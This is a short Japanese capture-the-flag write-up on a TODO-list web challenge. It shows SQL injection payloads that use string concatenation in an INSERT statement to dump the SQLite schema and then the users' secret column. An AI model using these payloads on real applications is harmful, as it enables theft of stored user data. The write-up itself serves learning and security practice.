前提知識
- SQLi(SQLインジェクション)
解説
利用者登録をしてTODOリストを表示する問題。
既視感はある。
解いた事のある方針で考えると、うまいことやって自分のTODOリストに他の人のTODOを表示させる。
問題を起こさせることができそうな所として、TODOの登録があるので、色々試す。
'
をすると内部エラーになる。SQLiができそうだ。
まずはなんとかしてDBの情報を抜き出したい。
多分INSERT INTO ?? VALUES ('??', '入力')
みたいな雰囲気になってるだろうと推測し、
' || (SELECT group_concat(sql) FROM sqlite_master) || '
を入れて、
INSERT INTO ?? VALUES ('??', '' || (SELECT group_concat(sql) FROM sqlite_master) || '')
のように入れる文字列が構築され、
DB情報を入れ込むことができる。
なお、||
は文字列連結の演算子である。
CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(64), name VARCHAR(128), password_hash VARCHAR(128), secret VARCHAR(128), admin INTEGER, PRIMARY KEY (id) ), CREATE UNIQUE INDEX ix_user_username ON user (username), CREATE TABLE todo ( id INTEGER NOT NULL, item VARCHAR(256), user_id INTEGER, PRIMARY KEY (id), FOREIGN KEY(user_id) REFERENCES user (id) )
userにsecretというのがあり、問題文にsecret codeとあるので、これを抜き出してくれば良さそう。
これを同様の手法を用いて以下のように取ってくると取れる。
' || (SELECT group_concat(secret) FROM user) || '